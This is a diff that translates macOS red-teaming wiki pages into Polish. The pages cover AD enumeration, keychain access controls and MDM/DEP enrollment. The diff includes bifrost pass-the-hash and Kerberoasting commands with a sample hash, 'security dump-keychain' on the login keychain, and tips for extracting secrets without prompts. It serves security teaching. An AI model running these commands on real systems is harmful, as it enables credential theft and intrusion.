**CanVNC** - podmiot dozwolony do VNC do hosta +- **CanAE** - podmiot dozwolony do wykonywania skryptów AppleEvent na hoście ```bash #User enumeration dscl . ls /Users @@ -182,71 +166,60 @@ dscl "/Active Directory/TEST/All Domains" read "/Groups/[groupname]" #Domain Information dsconfigad -show ``` +Więcej informacji w [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/) -More info in [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/) - -### Computer$ password - -Get passwords using: +### Hasło Computer$ +Uzyskaj hasła za pomocą: ```bash bifrost --action askhash --username [name] --password [password] --domain [domain] ``` - -It's possible to access the **`Computer$`** password inside the System keychain. +Możliwe jest uzyskanie hasła **`Computer$`** w systemowym pęku kluczy. ### Over-Pass-The-Hash -Get a TGT for an specific user and service: - +Uzyskaj TGT dla konkretnego użytkownika i usługi: ```bash bifrost --action asktgt --username [user] --domain [domain.com] \ - --hash [hash] --enctype [enctype] --keytab [/path/to/keytab] +--hash [hash] --enctype [enctype] --keytab [/path/to/keytab] ``` - -Once the TGT is gathered, it's possible to inject it in the current session with: - +Gdy TGT zostanie zebrany, możliwe jest wstrzyknięcie go w bieżącej sesji za pomocą: ```bash bifrost --action asktgt --username test_lab_admin \ - --hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \ - --enctype aes256 --domain test.lab.local +--hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \ +--enctype aes256 --domain test.lab.local ``` - ### Kerberoasting - ```bash bifrost --action asktgs --spn [service] --domain [domain.com] \ - --username [user] --hash [hash] --enctype [enctype] +--username [user] --hash [hash] --enctype [enctype] ``` - -With obtained service tickets it's possible to try to access shares in other computers: - +Z uzyskanymi biletami serwisowymi możliwe jest próbowanie dostępu do udostępnionych zasobów na innych komputerach: ```bash smbutil view //computer.fqdn mount -t smbfs //server/folder /local/mount/point ``` +## Uzyskiwanie dostępu do Keychain -## Accessing the Keychain - -The Keychain highly probably contains sensitive information that if accessed without generating a prompt could help to move forward a red team exercise: +Keychain prawdopodobnie zawiera wrażliwe informacje, które, jeśli zostaną uzyskane bez generowania monitu, mogą pomóc w przeprowadzeniu ćwiczenia red team: {{#ref}} macos-keychain.md {{#endref}} -## External Services +## Usługi zewnętrzne -MacOS Red Teaming is different from a regular Windows Red Teaming as usually **MacOS is integrated with several external platforms directly**. A common configuration of MacOS is to access to the computer using **OneLogin synchronised credentials, and accessing several external services** (like github, aws...) via OneLogin. +MacOS Red Teaming różni się od standardowego Windows Red Teaming, ponieważ zazwyczaj **MacOS jest zintegrowany z kilkoma zewnętrznymi platformami bezpośrednio**. Typowa konfiguracja MacOS polega na uzyskiwaniu dostępu do komputera za pomocą **zsynchronizowanych poświadczeń OneLogin oraz dostępu do kilku zewnętrznych usług** (takich jak github, aws...) za pośrednictwem OneLogin. -## Misc Red Team techniques +## Różne techniki Red Team ### Safari -When a file is downloaded in Safari, if its a "safe" file, it will be **automatically opened**. So for example, if you **download a zip**, it will be automatically decompressed: +Gdy plik jest pobierany w Safari, jeśli jest to plik "bezpieczny", zostanie **automatycznie otwarty**. Na przykład, jeśli **pobierzesz zip**, zostanie on automatycznie rozpakowany:
-## References +## Odniesienia - [**https://www.youtube.com/watch?v=IiMladUbL6E**](https://www.youtube.com/watch?v=IiMladUbL6E) - [**https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6**](https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6) @@ -254,12 +227,5 @@ When a file is downloaded in Safari, if its a "safe" file, it will be **automati - [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY) - [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA) -
- -**Get a hacker's perspective on your web apps, network, and cloud** - -**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-red-teaming/macos-keychain.md b/src/macos-hardening/macos-red-teaming/macos-keychain.md index a6135959d..8a7e76e40 100644 --- a/src/macos-hardening/macos-red-teaming/macos-keychain.md +++ b/src/macos-hardening/macos-red-teaming/macos-keychain.md @@ -2,62 +2,61 @@ {{#include ../../banners/hacktricks-training.md}} -## Main Keychains +## Główne Keychainy -- The **User Keychain** (`~/Library/Keychains/login.keychain-db`), which is used to store **user-specific credentials** like application passwords, internet passwords, user-generated certificates, network passwords, and user-generated public/private keys. -- The **System Keychain** (`/Library/Keychains/System.keychain`), which stores **system-wide credentials** such as WiFi passwords, system root certificates, system private keys, and system application passwords. - - It's possible to find other components like certificates in `/System/Library/Keychains/*` -- In **iOS** there is only one **Keychain** located in `/private/var/Keychains/`. This folder also contains databases for the `TrustStore`, certificates authorities (`caissuercache`) and OSCP entries (`ocspache`). - - Apps will be restricted in the keychain only to their private area based on their application identifier. +- **Keychain Użytkownika** (`~/Library/Keychains/login.keychain-db`), który jest używany do przechowywania **poświadczeń specyficznych dla użytkownika**, takich jak hasła aplikacji, hasła internetowe, certyfikaty generowane przez użytkownika, hasła sieciowe oraz klucze publiczne/prywatne generowane przez użytkownika. +- **Keychain Systemowy** (`/Library/Keychains/System.keychain`), który przechowuje **poświadczenia systemowe**, takie jak hasła WiFi, certyfikaty główne systemu, prywatne klucze systemowe oraz hasła aplikacji systemowych. +- Możliwe jest znalezienie innych komponentów, takich jak certyfikaty w `/System/Library/Keychains/*` +- W **iOS** istnieje tylko jeden **Keychain** znajdujący się w `/private/var/Keychains/`. Ten folder zawiera również bazy danych dla `TrustStore`, autorytetów certyfikacji (`caissuercache`) oraz wpisów OSCP (`ocspache`). +- Aplikacje będą miały ograniczony dostęp do keychaina tylko do ich prywatnego obszaru na podstawie ich identyfikatora aplikacji. -### Password Keychain Access +### Dostęp do Keychaina z Hasłem -These files, while they do not have inherent protection and can be **downloaded**, are encrypted and require the **user's plaintext password to be decrypted**. A tool like [**Chainbreaker**](https://github.com/n0fate/chainbreaker) could be used for decryption. +Te pliki, mimo że nie mają wbudowanej ochrony i mogą być **pobrane**, są szyfrowane i wymagają **czystego hasła użytkownika do odszyfrowania**. Narzędzie takie jak [**Chainbreaker**](https://github.com/n0fate/chainbreaker) może być użyte do odszyfrowania. -## Keychain Entries Protections +## Ochrona Wpisów w Keychainie -### ACLs +### ACL -Each entry in the keychain is governed by **Access Control Lists (ACLs)** which dictate who can perform various actions on the keychain entry, including: +Każdy wpis w keychainie jest regulowany przez **Listy Kontroli Dostępu (ACL)**, które określają, kto może wykonywać różne działania na wpisie w keychainie, w tym: -- **ACLAuhtorizationExportClear**: Allows the holder to get the clear text of the secret. -- **ACLAuhtorizationExportWrapped**: Allows the holder to get the clear text encrypted with another provided password. -- **ACLAuhtorizationAny**: Allows the holder to perform any action. +- **ACLAuhtorizationExportClear**: Pozwala posiadaczowi uzyskać czysty tekst sekretu. +- **ACLAuhtorizationExportWrapped**: Pozwala posiadaczowi uzyskać czysty tekst zaszyfrowany innym podanym hasłem. +- **ACLAuhtorizationAny**: Pozwala posiadaczowi wykonać dowolne działanie. -The ACLs are further accompanied by a **list of trusted applications** that can perform these actions without prompting. This could be: +ACL są dodatkowo wspierane przez **listę zaufanych aplikacji**, które mogą wykonywać te działania bez pytania. Może to być: -- **N`il`** (no authorization required, **everyone is trusted**) -- An **empty** list (**nobody** is trusted) -- **List** of specific **applications**. +- **N`il`** (brak wymaganej autoryzacji, **wszyscy są zaufani**) +- **Pusta** lista (**nikt** nie jest zaufany) +- **Lista** konkretnych **aplikacji**. -Also the entry might contain the key **`ACLAuthorizationPartitionID`,** which is use to identify the **teamid, apple,** and **cdhash.** +Wpis może również zawierać klucz **`ACLAuthorizationPartitionID`,** który służy do identyfikacji **teamid, apple,** i **cdhash.** -- If the **teamid** is specified, then in order to **access the entry** value **withuot** a **prompt** the used application must have the **same teamid**. -- If the **apple** is specified, then the app needs to be **signed** by **Apple**. -- If the **cdhash** is indicated, then **app** must have the specific **cdhash**. +- Jeśli **teamid** jest określony, to aby **uzyskać dostęp do wartości wpisu** **bez** **monitu**, używana aplikacja musi mieć **to samo teamid**. +- Jeśli **apple** jest określone, to aplikacja musi być **podpisana** przez **Apple**. +- Jeśli **cdhash** jest wskazany, to **aplikacja** musi mieć konkretny **cdhash**. -### Creating a Keychain Entry +### Tworzenie Wpisu w Keychainie -When a **new** **entry** is created using **`Keychain Access.app`**, the following rules apply: +Gdy **nowy** **wpis** jest tworzony za pomocą **`Keychain Access.app`**, obowiązują następujące zasady: -- All apps can encrypt. -- **No apps** can export/decrypt (without prompting the user). -- All apps can see the integrity check. -- No apps can change ACLs. -- The **partitionID** is set to **`apple`**. +- Wszystkie aplikacje mogą szyfrować. +- **Żadne aplikacje** nie mogą eksportować/odszyfrowywać (bez pytania użytkownika). +- Wszystkie aplikacje mogą zobaczyć kontrolę integralności. +- Żadne aplikacje nie mogą zmieniać ACL. +- **partitionID** jest ustawione na **`apple`**. -When an **application creates an entry in the keychain**, the rules are slightly different: +Gdy **aplikacja tworzy wpis w keychainie**, zasady są nieco inne: -- All apps can encrypt. -- Only the **creating application** (or any other apps explicitly added) can export/decrypt (without prompting the user). -- All apps can see the integrity check. -- No apps can change the ACLs. -- The **partitionID** is set to **`teamid:[teamID here]`**. +- Wszystkie aplikacje mogą szyfrować. +- Tylko **tworząca aplikacja** (lub inne aplikacje wyraźnie dodane) mogą eksportować/odszyfrowywać (bez pytania użytkownika). +- Wszystkie aplikacje mogą zobaczyć kontrolę integralności. +- Żadne aplikacje nie mogą zmieniać ACL. +- **partitionID** jest ustawione na **`teamid:[teamID here]`**. -## Accessing the Keychain +## Uzyskiwanie Dostępu do Keychaina ### `security` - ```bash # List keychains security list-keychains @@ -74,58 +73,57 @@ security set-generic-password-parition-list -s "test service" -a "test acount" - # Dump specifically the user keychain security dump-keychain ~/Library/Keychains/login.keychain-db ``` - ### APIs > [!TIP] -> The **keychain enumeration and dumping** of secrets that **won't generate a prompt** can be done with the tool [**LockSmith**](https://github.com/its-a-feature/LockSmith) +> Enumeracja **keychain** i zrzut sekretów, które **nie wygenerują powiadomienia**, można wykonać za pomocą narzędzia [**LockSmith**](https://github.com/its-a-feature/LockSmith) > -> Other API endpoints can be found in [**SecKeyChain.h**](https://opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-55017/lib/SecKeychain.h.auto.html) source code. +> Inne punkty końcowe API można znaleźć w kodzie źródłowym [**SecKeyChain.h**](https://opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-55017/lib/SecKeychain.h.auto.html). -List and get **info** about each keychain entry using the **Security Framework** or you could also check the Apple's open source cli tool [**security**](https://opensource.apple.com/source/Security/Security-59306.61.1/SecurityTool/macOS/security.c.auto.html)**.** Some API examples: +Wypisz i uzyskaj **informacje** o każdym wpisie w **keychain** za pomocą **Security Framework** lub możesz również sprawdzić narzędzie CLI open source Apple [**security**](https://opensource.apple.com/source/Security/Security-59306.61.1/SecurityTool/macOS/security.c.auto.html)**.** Oto kilka przykładów API: -- The API **`SecItemCopyMatching`** gives info about each entry and there are some attributes you can set when using it: - - **`kSecReturnData`**: If true, it will try to decrypt the data (set to false to avoid potential pop-ups) - - **`kSecReturnRef`**: Get also reference to keychain item (set to true in case later you see you can decrypt without pop-up) - - **`kSecReturnAttributes`**: Get metadata about entries - - **`kSecMatchLimit`**: How many results to return - - **`kSecClass`**: What kind of keychain entry +- API **`SecItemCopyMatching`** daje informacje o każdym wpisie i są pewne atrybuty, które możesz ustawić podczas jego używania: +- **`kSecReturnData`**: Jeśli prawda, spróbuje odszyfrować dane (ustaw na fałsz, aby uniknąć potencjalnych wyskakujących okienek) +- **`kSecReturnRef`**: Uzyskaj również odniesienie do elementu **keychain** (ustaw na prawda, jeśli później zobaczysz, że możesz odszyfrować bez wyskakującego okienka) +- **`kSecReturnAttributes`**: Uzyskaj metadane o wpisach +- **`kSecMatchLimit`**: Ile wyników zwrócić +- **`kSecClass`**: Jaki rodzaj wpisu w **keychain** -Get **ACLs** of each entry: +Uzyskaj **ACL** każdego wpisu: -- With the API **`SecAccessCopyACLList`** you can get the **ACL for the keychain item**, and it will return a list of ACLs (like `ACLAuhtorizationExportClear` and the others previously mentioned) where each list has: - - Description - - **Trusted Application List**. This could be: - - An app: /Applications/Slack.app - - A binary: /usr/libexec/airportd - - A group: group://AirPort +- Za pomocą API **`SecAccessCopyACLList`** możesz uzyskać **ACL dla elementu keychain**, a zwróci to listę ACL (takich jak `ACLAuhtorizationExportClear` i inne wcześniej wspomniane), gdzie każda lista ma: +- Opis +- **Lista Zaufanych Aplikacji**. To może być: +- Aplikacja: /Applications/Slack.app +- Binarny: /usr/libexec/airportd +- Grupa: group://AirPort -Export the data: +Eksportuj dane: -- The API **`SecKeychainItemCopyContent`** gets the plaintext -- The API **`SecItemExport`** exports the keys and certificates but might have to set passwords to export the content encrypted +- API **`SecKeychainItemCopyContent`** uzyskuje tekst jawny +- API **`SecItemExport`** eksportuje klucze i certyfikaty, ale może być konieczne ustawienie haseł do eksportu zawartości zaszyfrowanej -And these are the **requirements** to be able to **export a secret without a prompt**: +A oto **wymagania**, aby móc **eksportować sekret bez powiadomienia**: -- If **1+ trusted** apps listed: - - Need the appropriate **authorizations** (**`Nil`**, or be **part** of the allowed list of apps in the authorization to access the secret info) - - Need code signature to match **PartitionID** - - Need code signature to match that of one **trusted app** (or be a member of the right KeychainAccessGroup) -- If **all applications trusted**: - - Need the appropriate **authorizations** - - Need code signature to match **PartitionID** - - If **no PartitionID**, then this isn't needed +- Jeśli **1+ zaufane** aplikacje są wymienione: +- Potrzebne są odpowiednie **autoryzacje** (**`Nil`**, lub być **częścią** dozwolonej listy aplikacji w autoryzacji do uzyskania dostępu do informacji o sekrecie) +- Potrzebny jest podpis kodu, aby pasował do **PartitionID** +- Potrzebny jest podpis kodu, aby pasował do jednego **zaufanego programu** (lub być członkiem odpowiedniej grupy KeychainAccessGroup) +- Jeśli **wszystkie aplikacje zaufane**: +- Potrzebne są odpowiednie **autoryzacje** +- Potrzebny jest podpis kodu, aby pasował do **PartitionID** +- Jeśli **brak PartitionID**, to nie jest potrzebne > [!CAUTION] -> Therefore, if there is **1 application listed**, you need to **inject code in that application**. +> Dlatego, jeśli jest **1 aplikacja wymieniona**, musisz **wstrzyknąć kod w tę aplikację**. > -> If **apple** is indicated in the **partitionID**, you could access it with **`osascript`** so anything that is trusting all applications with apple in the partitionID. **`Python`** could also be used for this. +> Jeśli **apple** jest wskazane w **partitionID**, możesz uzyskać do niego dostęp za pomocą **`osascript`**, więc wszystko, co ufa wszystkim aplikacjom z apple w partitionID. **`Python`** również może być użyty do tego. -### Two additional attributes +### Dwa dodatkowe atrybuty -- **Invisible**: It's a boolean flag to **hide** the entry from the **UI** Keychain app -- **General**: It's to store **metadata** (so it's NOT ENCRYPTED) - - Microsoft was storing in plain text all the refresh tokens to access sensitive endpoint. +- **Niewidoczny**: To flaga boolean do **ukrycia** wpisu w aplikacji **UI** Keychain +- **Ogólny**: Służy do przechowywania **metadanych** (więc NIE JEST ZASZYFROWANY) +- Microsoft przechowywał w postaci jawnej wszystkie tokeny odświeżania do uzyskania dostępu do wrażliwego punktu końcowego. ## References diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md index 1a4f69c6e..5e094d94c 100644 --- a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md +++ b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md @@ -2,202 +2,146 @@ {{#include ../../../banners/hacktricks-training.md}} -**To learn about macOS MDMs check:** +**Aby dowiedzieć się o MDM macOS, sprawdź:** - [https://www.youtube.com/watch?v=ku8jZe-MHUU](https://www.youtube.com/watch?v=ku8jZe-MHUU) - [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe) -## Basics +## Podstawy -### **MDM (Mobile Device Management) Overview** +### **Przegląd MDM (Zarządzanie Urządzeniami Mobilnymi)** -[Mobile Device Management](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM) is utilized for overseeing various end-user devices like smartphones, laptops, and tablets. Particularly for Apple's platforms (iOS, macOS, tvOS), it involves a set of specialized features, APIs, and practices. The operation of MDM hinges on a compatible MDM server, which is either commercially available or open-source, and must support the [MDM Protocol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Key points include: +[Zarządzanie Urządzeniami Mobilnymi](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM) jest wykorzystywane do nadzorowania różnych urządzeń końcowych, takich jak smartfony, laptopy i tablety. Szczególnie dla platform Apple (iOS, macOS, tvOS) obejmuje zestaw specjalistycznych funkcji, interfejsów API i praktyk. Działanie MDM opiera się na kompatybilnym serwerze MDM, który jest dostępny komercyjnie lub jako open-source, i musi wspierać [Protokół MDM](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Kluczowe punkty obejmują: -- Centralized control over devices. -- Dependence on an MDM server that adheres to the MDM protocol. -- Capability of the MDM server to dispatch various commands to devices, for instance, remote data erasure or configuration installation. +- Centralne zarządzanie urządzeniami. +- Zależność od serwera MDM, który przestrzega protokołu MDM. +- Zdolność serwera MDM do wysyłania różnych poleceń do urządzeń, na przykład zdalnego usuwania danych lub instalacji konfiguracji. -### **Basics of DEP (Device Enrollment Program)** +### **Podstawy DEP (Program Rejestracji Urządzeń)** -The [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) offered by Apple streamlines the integration of Mobile Device Management (MDM) by facilitating zero-touch configuration for iOS, macOS, and tvOS devices. DEP automates the enrollment process, allowing devices to be operational right out of the box, with minimal user or administrative intervention. Essential aspects include: +[Program Rejestracji Urządzeń](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) oferowany przez Apple upraszcza integrację Zarządzania Urządzeniami Mobilnymi (MDM) poprzez umożliwienie konfiguracji bezdotykowej dla urządzeń iOS, macOS i tvOS. DEP automatyzuje proces rejestracji, pozwalając urządzeniom na działanie od razu po wyjęciu z pudełka, z minimalną interwencją użytkownika lub administratora. Kluczowe aspekty obejmują: -- Enables devices to autonomously register with a pre-defined MDM server upon initial activation. -- Primarily beneficial for brand-new devices, but also applicable for devices undergoing reconfiguration. -- Facilitates a straightforward setup, making devices ready for organizational use swiftly. +- Umożliwia urządzeniom autonomiczne rejestrowanie się na wcześniej zdefiniowanym serwerze MDM po pierwszej aktywacji. +- Głównie korzystne dla nowych urządzeń, ale również stosowane dla urządzeń poddawanych rekonfiguracji. +- Ułatwia prostą konfigurację, szybko przygotowując urządzenia do użytku w organizacji. -### **Security Consideration** +### **Rozważania dotyczące bezpieczeństwa** -It's crucial to note that the ease of enrollment provided by DEP, while beneficial, can also pose security risks. If protective measures are not adequately enforced for MDM enrollment, attackers might exploit this streamlined process to register their device on the organization's MDM server, masquerading as a corporate device. +Ważne jest, aby zauważyć, że łatwość rejestracji zapewniana przez DEP, choć korzystna, może również stwarzać ryzyko bezpieczeństwa. Jeśli środki ochronne nie są odpowiednio egzekwowane dla rejestracji MDM, napastnicy mogą wykorzystać ten uproszczony proces do zarejestrowania swojego urządzenia na serwerze MDM organizacji, podszywając się pod urządzenie korporacyjne. > [!CAUTION] -> **Security Alert**: Simplified DEP enrollment could potentially allow unauthorized device registration on the organization's MDM server if proper safeguards are not in place. +> **Alert bezpieczeństwa**: Uproszczona rejestracja DEP może potencjalnie umożliwić nieautoryzowaną rejestrację urządzenia na serwerze MDM organizacji, jeśli odpowiednie zabezpieczenia nie są wdrożone. -### Basics What is SCEP (Simple Certificate Enrolment Protocol)? +### Podstawy Czym jest SCEP (Protokół Prostej Rejestracji Certyfikatów)? -- A relatively old protocol, created before TLS and HTTPS were widespread. -- Gives clients a standardized way of sending a **Certificate Signing Request** (CSR) for the purpose of being granted a certificate. The client will ask the server to give him a signed certificate. +- Stosunkowo stary protokół, stworzony przed powszechnym wprowadzeniem TLS i HTTPS. +- Daje klientom ustandaryzowany sposób wysyłania **Żądania Podpisania Certyfikatu** (CSR) w celu uzyskania certyfikatu. Klient poprosi serwer o wydanie podpisanego certyfikatu. -### What are Configuration Profiles (aka mobileconfigs)? +### Czym są Profile Konfiguracji (znane również jako mobileconfigs)? -- Apple’s official way of **setting/enforcing system configuration.** -- File format that can contain multiple payloads. -- Based on property lists (the XML kind). -- “can be signed and encrypted to validate their origin, ensure their integrity, and protect their contents.” Basics — Page 70, iOS Security Guide, January 2018. +- Oficjalny sposób Apple na **ustawianie/egzekwowanie konfiguracji systemu.** +- Format pliku, który może zawierać wiele ładunków. +- Oparty na listach właściwości (w rodzaju XML). +- „może być podpisany i zaszyfrowany, aby zweryfikować ich pochodzenie, zapewnić ich integralność i chronić ich zawartość.” Podstawy — Strona 70, Przewodnik po Bezpieczeństwie iOS, styczeń 2018. -## Protocols +## Protokoły ### MDM -- Combination of APNs (**Apple server**s) + RESTful API (**MDM** **vendor** servers) -- **Communication** occurs between a **device** and a server associated with a **device** **management** **product** -- **Commands** delivered from the MDM to the device in **plist-encoded dictionaries** -- All over **HTTPS**. MDM servers can be (and are usually) pinned. -- Apple grants the MDM vendor an **APNs certificate** for authentication +- Połączenie APNs (**serwery Apple**) + RESTful API (**serwery dostawców MDM**) +- **Komunikacja** zachodzi między **urządzeniem** a serwerem związanym z produktem **zarządzania urządzeniami** +- **Polecenia** dostarczane z MDM do urządzenia w **słownikach zakodowanych w plist** +- Całość przez **HTTPS**. Serwery MDM mogą być (i zazwyczaj są) przypinane. +- Apple przyznaje dostawcy MDM **certyfikat APNs** do uwierzytelniania ### DEP -- **3 APIs**: 1 for resellers, 1 for MDM vendors, 1 for device identity (undocumented): - - The so-called [DEP "cloud service" API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). This is used by MDM servers to associate DEP profiles with specific devices. - - The [DEP API used by Apple Authorized Resellers](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html) to enroll devices, check enrollment status, and check transaction status. - - The undocumented private DEP API. This is used by Apple Devices to request their DEP profile. On macOS, the `cloudconfigurationd` binary is responsible for communicating over this API. -- More modern and **JSON** based (vs. plist) -- Apple grants an **OAuth token** to the MDM vendor +- **3 API**: 1 dla sprzedawców, 1 dla dostawców MDM, 1 dla tożsamości urządzenia (nieudokumentowane): +- Tzw. [API "usługi chmurowej" DEP](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Jest używane przez serwery MDM do kojarzenia profili DEP z konkretnymi urządzeniami. +- [API DEP używane przez autoryzowanych sprzedawców Apple](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html) do rejestracji urządzeń, sprawdzania statusu rejestracji i statusu transakcji. +- Nieudokumentowane prywatne API DEP. Jest używane przez urządzenia Apple do żądania swojego profilu DEP. Na macOS, binarny `cloudconfigurationd` jest odpowiedzialny za komunikację przez to API. +- Bardziej nowoczesne i oparte na **JSON** (w porównaniu do plist) +- Apple przyznaje dostawcy MDM **token OAuth** -**DEP "cloud service" API** +**API "usługi chmurowej" DEP** - RESTful -- sync device records from Apple to the MDM server -- sync “DEP profiles” to Apple from the MDM server (delivered by Apple to the device later on) -- A DEP “profile” contains: - - MDM vendor server URL - - Additional trusted certificates for server URL (optional pinning) - - Extra settings (e.g. which screens to skip in Setup Assistant) +- synchronizuje rekordy urządzeń z Apple do serwera MDM +- synchronizuje „profile DEP” do Apple z serwera MDM (dostarczane przez Apple do urządzenia później) +- Profil DEP zawiera: +- URL serwera dostawcy MDM +- Dodatkowe zaufane certyfikaty dla URL serwera (opcjonalne przypinanie) +- Dodatkowe ustawienia (np. które ekrany pominąć w Asystencie Konfiguracji) -## Serial Number +## Numer seryjny -Apple devices manufactured after 2010 generally have **12-character alphanumeric** serial numbers, with the **first three digits representing the manufacturing location**, the following **two** indicating the **year** and **week** of manufacture, the next **three** digits providing a **unique** **identifier**, and the **last** **four** digits representing the **model number**. +Urządzenia Apple wyprodukowane po 2010 roku zazwyczaj mają **12-znakowe alfanumeryczne** numery seryjne, z **pierwszymi trzema cyframi reprezentującymi miejsce produkcji**, następne **dwie** wskazujące **rok** i **tydzień** produkcji, następne **trzy** cyfry dostarczające **unikalny** **identyfikator**, a **ostatnie** **cztery** cyfry reprezentujące **numer modelu**. {{#ref}} macos-serial-number.md {{#endref}} -## Steps for enrolment and management +## Kroki rejestracji i zarządzania -1. Device record creation (Reseller, Apple): The record for the new device is created -2. Device record assignment (Customer): The device is assigned to a MDM server -3. Device record sync (MDM vendor): MDM sync the device records and push the DEP profiles to Apple -4. DEP check-in (Device): Device gets his DEP profile -5. Profile retrieval (Device) -6. Profile installation (Device) a. incl. MDM, SCEP and root CA payloads -7. MDM command issuance (Device) +1. Tworzenie rekordu urządzenia (Sprzedawca, Apple): Rekord nowego urządzenia jest tworzony +2. Przypisanie rekordu urządzenia (Klient): Urządzenie jest przypisywane do serwera MDM +3. Synchronizacja rekordu urządzenia (dostawca MDM): MDM synchronizuje rekordy urządzeń i przesyła profile DEP do Apple +4. Rejestracja DEP (Urządzenie): Urządzenie otrzymuje swój profil DEP +5. Pobieranie profilu (Urządzenie) +6. Instalacja profilu (Urządzenie) a. w tym ładunki MDM, SCEP i root CA +7. Wydanie polecenia MDM (Urządzenie) ![](<../../../images/image (694).png>) -The file `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` exports functions that can be considered **high-level "steps"** of the enrolment process. +Plik `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` eksportuje funkcje, które można uznać za **wysokopoziomowe "kroki"** procesu rejestracji. -### Step 4: DEP check-in - Getting the Activation Record +### Krok 4: Rejestracja DEP - Uzyskiwanie Rekordu Aktywacji -This part of the process occurs when a **user boots a Mac for the first time** (or after a complete wipe) +Ta część procesu zachodzi, gdy **użytkownik uruchamia Maca po raz pierwszy** (lub po całkowitym wyczyszczeniu) ![](<../../../images/image (1044).png>) -or when executing `sudo profiles show -type enrollment` +lub podczas wykonywania `sudo profiles show -type enrollment` -- Determine **whether device is DEP enabled** -- Activation Record is the internal name for **DEP “profile”** -- Begins as soon as the device is connected to Internet -- Driven by **`CPFetchActivationRecord`** -- Implemented by **`cloudconfigurationd`** via XPC. The **"Setup Assistant**" (when the device is firstly booted) or the **`profiles`** command will **contact this daemon** to retrieve the activation record. - - LaunchDaemon (always runs as root) +- Określenie **czy urządzenie jest włączone w DEP** +- Rekord Aktywacji to wewnętrzna nazwa dla **profilu DEP** +- Rozpoczyna się, gdy urządzenie jest podłączone do Internetu +- Napędzane przez **`CPFetchActivationRecord`** +- Zrealizowane przez **`cloudconfigurationd`** za pośrednictwem XPC. **"Asystent Konfiguracji"** (gdy urządzenie jest uruchamiane po raz pierwszy) lub polecenie **`profiles`** skontaktuje się z tym demonem, aby uzyskać rekord aktywacji. +- LaunchDaemon (zawsze działa jako root) -It follows a few steps to get the Activation Record performed by **`MCTeslaConfigurationFetcher`**. This process uses an encryption called **Absinthe** +Przechodzi przez kilka kroków, aby uzyskać Rekord Aktywacji, realizowanych przez **`MCTeslaConfigurationFetcher`**. Proces ten wykorzystuje szyfrowanie zwane **Absinthe** -1. Retrieve **certificate** - 1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer) -2. **Initialize** state from certificate (**`NACInit`**) - 1. Uses various device-specific data (i.e. **Serial Number via `IOKit`**) -3. Retrieve **session key** - 1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session) -4. Establish the session (**`NACKeyEstablishment`**) -5. Make the request - 1. POST to [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) sending the data `{ "action": "RequestProfileConfiguration", "sn": "" }` - 2. The JSON payload is encrypted using Absinthe (**`NACSign`**) - 3. All requests over HTTPs, built-in root certificates are used +1. Pobierz **certyfikat** +1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer) +2. **Zainicjuj** stan z certyfikatu (**`NACInit`**) +1. Używa różnych danych specyficznych dla urządzenia (tj. **Numer Seryjny za pomocą `IOKit`**) +3. Pobierz **klucz sesji** +1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session) +4. Ustanów sesję (**`NACKeyEstablishment`**) +5. Złóż żądanie +1. POST do [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) wysyłając dane `{ "action": "RequestProfileConfiguration", "sn": "" }` +2. Ładunek JSON jest szyfrowany za pomocą Absinthe (**`NACSign`**) +3. Wszystkie żądania przez HTTPs, używane są wbudowane certyfikaty root ![](<../../../images/image (566) (1).png>) -The response is a JSON dictionary with some important data like: +Odpowiedź to słownik JSON z ważnymi danymi, takimi jak: -- **url**: URL of the MDM vendor host for the activation profile -- **anchor-certs**: Array of DER certificates used as trusted anchors +- **url**: URL hosta dostawcy MDM dla profilu aktywacji +- **anchor-certs**: Tablica certyfikatów DER używanych jako zaufane 